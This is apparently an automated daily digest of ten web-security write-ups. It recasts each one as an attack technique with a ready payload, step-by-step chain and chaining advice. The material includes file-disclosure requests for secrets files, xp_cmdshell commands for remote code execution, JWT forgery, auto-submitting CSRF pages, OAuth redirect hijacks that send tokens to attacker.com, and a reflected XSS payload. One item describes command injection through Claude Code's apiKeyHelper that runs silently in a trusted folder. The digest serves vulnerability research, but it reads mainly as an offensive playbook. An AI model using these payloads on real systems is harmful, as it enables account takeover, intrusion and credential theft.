ETX Signal-X

Daily Intelligence Digest

Saturday, February 14, 2026

10	28
ARTICLES	TECHNIQUES

Article 1

Exploiting an Exposed Swagger File to Achieve RCE

Source: securitycipher

Date: 23-Feb-2025

URL: https://elhadadx.medium.com/exploiting-an-exposed-swagger-file-to-achieve-rce-cceb4d1f8ad0

T1 Unauthorized File Disclosure via Broken Access Control

💉 **Payload**

```
GET /api/attachments/download?path=appsettings.json
```

⚔️ **Attack Chain**

1. Enumerate exposed Swagger documentation at `/swagger/v1/swagger.json` to identify available endpoints.
2. Locate the `/api/attachments/download?path=` endpoint.
3. Send a GET request with `path=appsettings.json` to retrieve sensitive configuration files.
4. Extract credentials (JWT secret, MSSQL, Hangfire) from the disclosed file.

🔍 **Discovery**

Swagger file enumeration revealed endpoints lacking authorization checks; direct testing of file paths confirmed disclosure.

🔓 **Bypass**

No authentication required; endpoint accepts arbitrary file paths.

🔗 **Chain With**

Credentials extracted enable privilege escalation, database access, and dashboard compromise.

T2 Administrative Access via Hangfire Credentials

💉 Payload

```
POST /hangfire/login
Username: <extracted from appsettings.json>
Password: <extracted from appsettings.json>
```

⚔️ Attack Chain

1. Extract Hangfire dashboard credentials from `appsettings.json` (via Technique 1).
2. Log in to Hangfire dashboard using the credentials.
3. Gain administrative access to schedule and execute jobs on the application server.

🔍 Discovery

Credentials found in configuration file; endpoint and dashboard location identified via Swagger and app context.

🔓 Bypass

Direct credential use; no additional checks.

🔗 Chain With

Job execution can be leveraged for lateral movement or persistence.

T3 Remote Code Execution via MSSQL xp_cmdshell

💉 Payload

```
-- Connect to MSSQL with credentials from appsettings.json
-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- Execute OS command
EXEC xp_cmdshell 'whoami';
```

⚔️ Attack Chain

1. Use MSSQL credentials from `appsettings.json` to connect to the database.
2. Enable `xp_cmdshell` if not already enabled.
3. Execute arbitrary system commands via `xp_cmdshell` for RCE.

🔍 Discovery

Credentials extracted from file disclosure; knowledge of MSSQL exploitation techniques.

🔓 Bypass

No network segmentation or privilege restrictions; full DB access.

🔗 Chain With

RCE enables full system compromise, privilege escalation, and persistence.

T4 Privileged API Access via JWT Secret Key

💉 Payload

```
// Generate JWT token with admin role using extracted secret
{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "role": "admin"
}
// Sign with JWT secret from appsettings.json
```

⚔️ Attack Chain

1. Extract JWT secret from `appsettings.json`.
2. Forge JWT tokens with elevated roles (e.g., admin).
3. Access privileged endpoints and perform actions as any user.

🔍 Discovery

JWT secret found in configuration file; token structure inferred from Swagger and app context.

🔓 Bypass

No signature validation beyond secret; role claim fully controllable.

🔗 Chain With

Privilege escalation, horizontal/vertical access, session hijacking.

T5 Unauthorized Email Sending via API

💉 Payload

```
POST /api/email/send
{
  "to": "attacker@domain.com",
  "subject": "Test",
  "body": "Pwned"
}
```

⚔️ Attack Chain

1. Identify email sending endpoint from Swagger documentation.
2. Authenticate (if required) using credentials or forged JWT (from prior techniques).
3. Send crafted POST request to trigger email delivery.

🔍 Discovery

Endpoint visibility in Swagger; tested with valid credentials/token.

🔓 Bypass

Can bypass authentication using forged JWT or extracted credentials.

🔗 Chain With

Phishing, data exfiltration, internal communication abuse.

T6 Website Account Takeover via Extracted Credentials

💉 Payload

```
POST /login
Username: <extracted from appsettings.json>
Password: <extracted from appsettings.json>
```

⚔️ Attack Chain

1. Use credentials from `appsettings.json` to log in to the web application.
2. Gain access to user/admin accounts and associated functionality.

🔍 Discovery

Credentials found in configuration file; login endpoint identified via Swagger or app context.

🔓 Bypass

Direct credential use; no additional checks.

🔗 Chain With

Account takeover, privilege escalation, session abuse.

Article 2

How a CSRF Vulnerability Can Be Exploited to Target Email Accounts — A Practical Walkthrough

Source: securitycipher

Date: 19-Nov-2024

URL: https://medium.com/@muhammedgalal66/how-a-csrf-vulnerability-can-be-exploited-to-target-email-accounts-a-practical-walkthrough-60e6c2eac31f

T1 CSRF Exploitation for Email Account Takeover

💉 **Payload**

```
<form action="https://targetsite.com/email/change" method="POST">
  <input type="hidden" name="email" value="attacker@example.com" />
  <input type="submit" value="Submit" />
</form>
```

⚔️ **Attack Chain**

1. Identify the email change endpoint (e.g., `/email/change`) that accepts POST requests.
2. Confirm that the endpoint does not require a CSRF token or any anti-CSRF mechanism.
3. Craft a malicious HTML form with the attacker's email as the value.
4. Host the form on an attacker-controlled site and lure the victim to visit it while authenticated to the target site.
5. Victim submits the form (or auto-submits via JavaScript), changing their account email to the attacker's address.
6. Attacker can now initiate password reset or account recovery using the new email.

🔍 **Discovery**

Manual endpoint review and testing for missing CSRF protection on sensitive account actions. Focused on email change functionality due to its high impact.

🔓 **Bypass**

No CSRF token required; endpoint only checks for authentication, not request origin or token. Exploit works even if user is logged in, as session cookies are sent automatically.

🔗 **Chain With**

Can be chained with password reset flows, account recovery, or further privilege escalation if the email is used for MFA or notifications.

T2 Auto-Submission CSRF Payload for Stealth Exploitation

💉 Payload

```
<html>
  <body>
    <form id="csrfForm" action="https://targetsite.com/email/change" method="POST">
      <input type="hidden" name="email" value="attacker@example.com" />
    </form>
    <script>
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>
```

⚔️ Attack Chain

1. Build a CSRF payload page that auto-submits the malicious form via JavaScript.
2. Host the page on an attacker-controlled domain.
3. Send phishing links or social engineering messages to victims.
4. Upon visiting, the victim's browser auto-submits the form, changing their email address without user interaction.
5. Attacker gains control over the victim's account email, enabling further attacks.

🔍 Discovery

Tested form auto-submission to increase stealth and reduce user friction in exploitation. Observed endpoint behavior for silent changes.

🔓 Bypass

Endpoint does not validate request origin or require user interaction. JavaScript auto-submit circumvents any UI-based warnings.

🔗 Chain With

Useful in mass phishing campaigns, can be chained with automated password reset or session hijacking if email is tied to authentication.

T3 **CSRF Exploit with Custom Headers (Advanced Variant)**

💉 **Payload**

```
fetch('https://targetsite.com/email/change', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  body: 'email=attacker@example.com'
});
```

⚔️ **Attack Chain**

1. Attempt to exploit the CSRF via JavaScript fetch/XHR requests with custom headers.
2. Test if the endpoint accepts requests with `Content-Type: application/x-www-form-urlencoded` and does not enforce CORS or SameSite cookie restrictions.
3. If successful, embed the script in a malicious site or ad.
4. Victim visits the site; script executes, sending authenticated request to change email.
5. Attacker receives control of the victim's account email.

🔍 **Discovery**

Probed endpoint for acceptance of cross-origin fetch requests with custom headers, looking for advanced CSRF vectors beyond form-based attacks.

🔓 **Bypass**

Works only if CORS and SameSite restrictions are misconfigured. Bypasses basic CSRF defenses if the endpoint does not check request origin or headers.

🔗 **Chain With**

Can be used in drive-by attacks, browser extensions, or chained with other client-side vulnerabilities for full account takeover.

Article 3

# Exposure of Internal PHP Source Code Leading to Credential & Sensitive Data Leakage

Source: securitycipher

Date: 16-Feb-2025

URL: https://medium.com/@bevennyamande/exposure-of-internal-php-source-code-leading-to-credential-sensitive-data-leakage-209383740e1e

T1 Internal PHP Source Code Exposure via Misconfigured Web Server

💉 Payload

```
GET /internal/config.php HTTP/1.1
Host: target.com
```

⚔️ Attack Chain

1. Identify web server misconfiguration allowing direct access to PHP files without execution.
2. Send a GET request to internal PHP files (e.g., `/internal/config.php`).
3. Receive raw PHP source code containing credentials or sensitive data.

🔍 Discovery

Manual directory enumeration and probing for non-public PHP files. Noticed that requesting `.php` files in certain directories returned source code instead of executing.

🔓 Bypass

Accessing files in non-standard directories (e.g., `/internal/`) bypassed standard execution handlers due to web server misconfiguration.

🔗 Chain With

Credentials and secrets exposed in source code can be used for privilege escalation, lateral movement, or chaining with authentication bypass or RCE.

T2 Sensitive Data Leakage via Exposed Configuration Variables

💉 Payload

```
GET /internal/config.php HTTP/1.1
Host: target.com
```

⚔️ Attack Chain

1. Access exposed PHP source code as above.
2. Extract sensitive variables such as `$db_password`, `$api_key`, etc., from the raw source.
3. Use extracted credentials to access backend systems (database, APIs).

🔍 Discovery

Source code review after exposure. Focused on configuration files that typically contain hardcoded secrets.

🔓 Bypass

Direct source access bypasses any application-level authentication or encryption.

🔗 Chain With

Database credentials and API keys can be leveraged for direct data extraction, further exploitation of internal systems, or chaining with SQL injection or API abuse.

Article 4

When “Sign in with Google” Signed Me Into Someone Else’s Account

Source: securitycipher

Date: 27-Dec-2025

URL: https://medium.com/@sabna1961/when-sign-in-with-google-signed-me-into-someone-elses-account-cb29134328f3

T1 OAuth Token Reuse Across Accounts

💉 **Payload**

```
POST /auth/google/callback
Authorization: Bearer <valid_google_oauth_token>
```

⚔️ **Attack Chain**

1. Obtain a valid Google OAuth token for attacker’s Google account.
2. Send the token to the vulnerable application's OAuth callback endpoint.
3. Application verifies token with Google and retrieves user email.
4. Application fails to properly map Google account to internal user, resulting in login as another user's account (e.g., first user registered with that email provider).

🔍 **Discovery**

Observed that "Sign in with Google" logged in as a different user than expected. Tested with multiple Google accounts and noticed cross-account login behavior.

🔓 **Bypass**

Application did not validate the mapping between Google account and internal user account, allowing token reuse to access other users' sessions.

🔗 **Chain With**

Can be chained with session fixation or privilege escalation if the victim account has elevated permissions.

T2 Email Provider Collision in OAuth Mapping

💉 **Payload**

```
POST /auth/google/callback
Authorization: Bearer <valid_google_oauth_token>
```

⚔️ **Attack Chain**

1. Register an account in the application using a non-Google email provider (e.g., Yahoo).
2. Later, use "Sign in with Google" with a Google account that has the same email address as the Yahoo account.
3. Application incorrectly maps Google OAuth login to the Yahoo-based account, granting access to the other user's session.

🔍 **Discovery**

Noticed that logging in with Google using an email already registered via another provider resulted in access to that account, regardless of provider.

🔓 **Bypass**

Application did not distinguish between email providers when mapping OAuth logins, allowing cross-provider account takeover.

🔗 **Chain With**

Potential for account takeover across multiple authentication providers, especially if combined with password reset or session hijacking attacks.

Article 5

How I used shodan to discover 3 easy bugs on VDP program?

Source: securitycipher

Date: 31-Jan-2025

URL: https://medium.com/@hamdiyasin135/how-i-used-shodan-to-discover-3-easy-bugs-on-vdp-program-1ddd8b291320

T1 Exposed Admin Panel via Shodan

💉 **Payload**

```
/admin
```

⚔️ **Attack Chain**

1. Use Shodan to search for exposed assets related to the target organization.
2. Identify a server with an open HTTP port and accessible web interface.
3. Navigate to `/admin` endpoint.
4. Access admin panel without authentication.

🔍 **Discovery**

Shodan search for organization assets revealed an HTTP server with an accessible `/admin` endpoint.

🔓 **Bypass**

No authentication required; direct access possible.

🔗 **Chain With**

Combine with privilege escalation or data extraction if admin panel allows user management or sensitive operations.

T2 Exposed Backup Files via Shodan

💉 **Payload**

```
/backup.zip
```

⚔️ **Attack Chain**

1. Use Shodan to enumerate web-accessible files and directories.
2. Locate `/backup.zip` file on a discovered asset.
3. Download the backup file directly via HTTP request.
4. Extract sensitive information from the archive (credentials, configs, etc.).

🔍 **Discovery**

Shodan indexing revealed a backup file exposed on a web server.

🔓 **Bypass**

No authentication or access control on backup file; direct download possible.

🔗 **Chain With**

Use extracted credentials/configs for further access, lateral movement, or privilege escalation.

T3 Exposed .env File via Shodan

💉 **Payload**

```
/.env
```

⚔️ **Attack Chain**

1. Use Shodan to scan for web servers exposing hidden files.
2. Access `/.env` file directly via HTTP request.
3. Extract sensitive environment variables (database credentials, API keys, etc.).

🔍 **Discovery**

Shodan search surfaced a web server with an exposed `.env` file.

🔓 **Bypass**

No access restrictions on `.env` file; direct access possible.

🔗 **Chain With**

Leverage credentials for database access, API abuse, or chaining with other vulnerabilities for deeper compromise.

Article 6

jsonwebtoken is a JWT lib in rust. Prior to version 10.3.0, there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic. When a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a St

Source: threatable

Date:

URL: https://github.com/Keats/jsonwebtoken/commit/abbc3076742c4161347bc6b8bf4aa5eb86e1dc01

T1 Type Confusion in JWT 'nbf' Claim (Pre-10.3.0)

💉 **Payload**

```
{
  "sub": "test",
  "nbf": "99999999999" // nbf as string instead of integer
}
```

⚔️ **Attack Chain**

1. Craft a JWT token where the 'nbf' (Not Before) claim is set as a string value (e.g., "99999999999") instead of the required integer type.
2. Sign the token using a valid secret or key.
3. Submit the token to a Rust backend using jsonwebtoken <10.3.0 with `validate_nbf` enabled.
4. Prior to the patch, the library would silently treat malformed 'nbf' as "not present" if not required, potentially bypassing validation logic.

🔍 **Discovery**

Triggered by regression tests in the commit, which explicitly encoded 'nbf' as a string and observed that the library failed to reject the token before the fix.

🔓 **Bypass**

Malformed 'nbf' claims (string instead of integer) were not rejected when validation was enabled, allowing tokens to bypass time-based restrictions if 'nbf' was not strictly required.

🔗 **Chain With**

Can be chained with attacks relying on time-based claim manipulation, such as replay attacks or privilege escalation where 'nbf' is used to gate access.

T2 Type Confusion in JWT 'exp' Claim (Pre-10.3.0)

💉 Payload

```
{
  "sub": "test",
  "exp": "99999999999" // exp as string instead of integer
}
```

⚔️ Attack Chain

1. Craft a JWT token where the 'exp' (Expiration) claim is set as a string value (e.g., "99999999999") instead of the required integer type.
2. Sign the token using a valid secret or key.
3. Submit the token to a Rust backend using jsonwebtoken <10.3.0 with `validate_exp` enabled.
4. Prior to the patch, the library would silently treat malformed 'exp' as "not present" if not required, potentially bypassing expiration checks.

🔍 Discovery

Triggered by regression tests in the commit, which explicitly encoded 'exp' as a string and observed that the library failed to reject the token before the fix.

🔓 Bypass

Malformed 'exp' claims (string instead of integer) were not rejected when validation was enabled, allowing tokens to bypass expiration checks if 'exp' was not strictly required.

🔗 Chain With

Can be chained with attacks relying on expired token reuse, session extension, or privilege escalation where 'exp' is used to gate access.

Article 7

“Keyed In” Compromising an entire organization through their API

Source: securitycipher

Date: 03-Nov-2024

URL: https://medium.com/@s1renhead/keyed-in-compromising-an-entire-organization-through-their-api-2ed6cb54eec5

T1 API Key Exposure via Misconfigured Endpoint

💉 **Payload**

```
GET /api/v1/organizations/{orgId}/keys
Authorization: Bearer <attacker_token>
```

⚔️ **Attack Chain**

1. Identify the endpoint `/api/v1/organizations/{orgId}/keys` which returns API keys for the organization.
2. Use an attacker-controlled token with minimal privileges to access the endpoint.
3. Receive a response containing valid API keys for the entire organization.
4. Use exposed keys to access further sensitive endpoints or escalate privileges.

🔍 **Discovery**

Manual endpoint enumeration and testing for privilege boundaries. The researcher noticed that the endpoint returned keys regardless of the token's assigned role.

🔓 **Bypass**

Privilege checks were missing or misapplied; any authenticated user could access the endpoint, bypassing intended role restrictions.

🔗 **Chain With**

Exposed API keys enable lateral movement, privilege escalation, and access to internal APIs or third-party integrations.

T2 Organization-Wide Data Access via API Key Abuse

💉 Payload

```
GET /api/v1/organizations/{orgId}/users
Authorization: ApiKey <exposed_org_api_key>
```

⚔️ Attack Chain

1. Obtain organization-level API key from the vulnerable endpoint.
2. Use the API key in the `Authorization` header to access endpoints restricted to organization administrators.
3. Enumerate all users, roles, and sensitive data within the organization.
4. Optionally, modify user roles or trigger actions using the same API key.

🔍 Discovery

After obtaining the API key, the researcher tested its scope and found it provided broad access to organization-level data and actions.

🔓 Bypass

API key grants access regardless of the user's original role; no additional verification is performed.

🔗 Chain With

Combine with privilege escalation or account takeover techniques; use for persistence or further exploitation across integrated systems.

T3 Privilege Escalation via Role Modification Endpoint

💉 Payload

```
POST /api/v1/organizations/{orgId}/users/{userId}/role
Authorization: ApiKey <exposed_org_api_key>
Content-Type: application/json

{
  "role": "admin"
}
```

⚔️ Attack Chain

1. Use exposed organization API key to access the role modification endpoint.
2. Submit a POST request to change any user's role to "admin".
3. Gain administrative privileges for attacker-controlled accounts or escalate privileges for other users.

🔍 Discovery

Testing endpoints with the exposed API key revealed that role modification was possible without additional checks.

🔓 Bypass

No secondary authentication or role validation; API key alone is sufficient to modify roles.

🔗 Chain With

Escalate privileges, trigger sensitive actions, or combine with account takeover for full organizational control.

T4 Internal API Access via Organization API Key

💉 Payload

```
GET /internal-api/v1/finance/reports
Authorization: ApiKey <exposed_org_api_key>
```

⚔️ Attack Chain

1. Use the exposed organization API key to access internal endpoints not intended for external users.
2. Retrieve sensitive financial reports or other internal data.
3. Analyze internal API structure for further vulnerabilities or data leakage.

🔍 Discovery

After obtaining the API key, the researcher mapped internal endpoints and tested access, discovering that the key worked across internal APIs.

🔓 Bypass

Internal APIs lacked proper segregation; organization API key provided access to both public and internal endpoints.

🔗 Chain With

Leverage internal data for phishing, fraud, or further exploitation; combine with other internal API vulnerabilities.

Article 8

FB OAuth Misconfigurations to Account Takeover

Source: securitycipher

Date: 05-Apr-2024

URL: https://medium.com/@hbenja47/fb-oauth-misconfigurations-to-account-takeover-e264a06ae4a0

T1 Facebook OAuth Misconfiguration - Redirect URI Manipulation

💉 **Payload**

```
https://www.facebook.com/v10.0/dialog/oauth?client_id=<app_id>&redirect_uri=https://attacke
r.com/callback&state=<state>&response_type=token
```

⚔️ **Attack Chain**

1. Identify Facebook OAuth implementation with a misconfigured or overly permissive `redirect_uri` parameter.
2. Craft an OAuth authorization URL with `redirect_uri` set to an attacker-controlled domain.
3. Send the URL to the victim or trigger OAuth flow.
4. Victim authenticates; Facebook redirects access token to attacker-controlled callback.
5. Attacker captures access token and uses it to take over victim's account in the target application.

🔍 **Discovery**

Manual review of OAuth endpoints and parameters, specifically checking if `redirect_uri` validation is weak or missing. Used Burp Suite to test various domains and subdomains for acceptance.

🔓 **Bypass**

If the application uses wildcard or regex matching for `redirect_uri`, subdomain or path manipulation can bypass intended restrictions. Example: registering `attacker.com` as a subdomain of an allowed domain or using URL encoding to sneak in malicious domains.

🔗 **Chain With**

Can be chained with session fixation or CSRF to escalate impact, or used as a pivot for further OAuth token abuse across integrated services.

T2 **Facebook OAuth - State Parameter Manipulation for CSRF/ATO**

💉 **Payload**

```
https://www.facebook.com/v10.0/dialog/oauth?client_id=<app_id>&redirect_uri=https://legit.com/callback&state=malicious_state&response_type=token
```

⚔️ **Attack Chain**

1. Analyze the OAuth flow for improper handling or validation of the `state` parameter.
2. Inject a custom `state` value (e.g., `malicious_state`) in the OAuth URL.
3. Victim initiates OAuth login; Facebook returns the `state` value to the callback endpoint.
4. If the application does not validate the `state`, attacker can replay or manipulate requests, potentially leading to account takeover or CSRF.

🔍 **Discovery**

Fuzzing the `state` parameter and observing callback behavior. Noted lack of correlation between `state` value and session/user context.

🔓 **Bypass**

If the application does not bind `state` to user session or fails to check its integrity, attacker can reuse or forge `state` values to hijack OAuth flows.

🔗 **Chain With**

Can be combined with redirect URI manipulation for full OAuth flow hijack, or used with session fixation to persist attacker-controlled sessions.

T3 **Facebook OAuth - Access Token Leakage via Referer Header**

💉 Payload

```
GET /callback?access_token=<token>&state=<state>
Referer: https://attacker.com/callback?access_token=<token>&state=<state>
```

⚔️ Attack Chain

1. Trigger OAuth flow with a callback to an attacker-controlled domain.
2. Victim completes authentication; Facebook redirects with access token in URL fragment or query.
3. If the application loads external resources or redirects, the access token may leak via the `Referer` header to third-party domains.
4. Attacker monitors traffic to capture leaked access tokens.

🔍 Discovery

Analyzed network traffic and observed access token exposure in `Referer` headers during OAuth callback processing. Used proxy tools to inspect headers.

🔓 Bypass

If the application does not sanitize or restrict external requests during OAuth callback handling, token leakage is possible. Exploited by embedding external images/scripts in callback page.

🔗 Chain With

Can be used as a secondary vector after redirect URI manipulation, or chained with open redirect vulnerabilities to amplify token exposure.

T4 Facebook OAuth - Open Redirect Abuse in OAuth Flow

💉 Payload

```
https://legit.com/callback?next=https://attacker.com
```

⚔️ Attack Chain

1. Identify open redirect vulnerability in OAuth callback endpoint (e.g., `next` parameter).
2. Craft OAuth URL with `next` set to attacker-controlled domain.
3. Victim completes OAuth login; application redirects to attacker domain with sensitive data (tokens, session info).
4. Attacker captures tokens or session cookies from redirected requests.

🔍 Discovery

Fuzzed callback endpoints for open redirect parameters. Used automated tools and manual testing to confirm redirection to arbitrary domains.

🔓 Bypass

If callback endpoint does not validate `next` parameter or uses weak allowlisting, attacker can bypass intended redirect restrictions.

🔗 Chain With

Can be chained with access token leakage via Referer, or used to escalate from OAuth misconfigurations to full account takeover.

Article 9

GitHub - RootUp/claude-poc: Claude Code Remote Code Execution

Source: threatable

Date:

URL: https://github.com/RootUp/claude-poc

T1 Remote Code Execution via apiKeyHelper Custom Shell Script

💉 **Payload**

```
command injection via apiKeyHelper (e.g., `$(id)` or `; id`)
```

⚔️ **Attack Chain**

1. Identify the presence of the `apiKeyHelper` shell script used for generating `X-Api-Key` and `Authorization: Bearer` header values in Claude model requests.
2. Craft a request or configuration where the value passed to `apiKeyHelper` includes a system command (e.g., `$(id)` or `; id`).
3. Trigger the script execution by initiating a model request that requires header generation.
4. Observe execution of arbitrary system commands due to unsanitized input passed to the shell script.

🔍 **Discovery**

Researcher reviewed the authentication mechanism for Claude model requests and noticed that the `apiKeyHelper` script directly executes user-provided input without sanitization, allowing command injection.

🔓 **Bypass**

If the parent folder is already trusted, no additional "trust" prompt is triggered, resulting in silent code execution without user interaction.

🔗 **Chain With**

Combine with privilege escalation if the script runs with elevated permissions. Use for initial access in RT/PT (Red Team/Penetration Testing) scenarios. Chain with lateral movement by leveraging access to other scripts or services initiated via the compromised headers.

Article 10

’.

Source: securitycipher

Date: 30-Jun-2025

URL: https://g4o57.medium.com/-eadf05801bc6

T1 Reflected XSS via ColdFusion Error Handler (event Parameter)

💉 **Payload**

```
/index.cfm?event=alert(1)
```

⚔️ **Attack Chain**

1. Enumerate NASA subdomains and fingerprint technology stack to identify ColdFusion 2021 hosts lacking WAF.
2. Locate unauthenticated "technology database" endpoint using controller pattern: `/index.cfm?event=<controller>.<action>`.
3. Supply undefined or crafted `event` parameter (e.g., `alert(1)`) to trigger ColdFusion exception.
4. Observe parameter reflection inside `<pre>` tags in the error page, confirming lack of output encoding.
5. Escalate payloads to achieve arbitrary JavaScript execution, session hijacking, and privilege escalation.

🔍 **Discovery**

Targeted ColdFusion hosts identified via recon (Amass, Subfinder, crt.sh). Manual probing of controller parameters revealed verbose error handler reflecting user input unencoded.

🔓 **Bypass**

ColdFusion error handler prints the `event` parameter in multiple parse contexts without output encoding, allowing payloads to bypass standard input validation and execute in the browser.

🔗 **Chain With**

Combine with session hijacking to exfiltrate authenticated NASA staff cookies. Privilege escalation possible via ColdFusion Administrator session theft. Information disclosure by accessing research metadata exposed in error responses.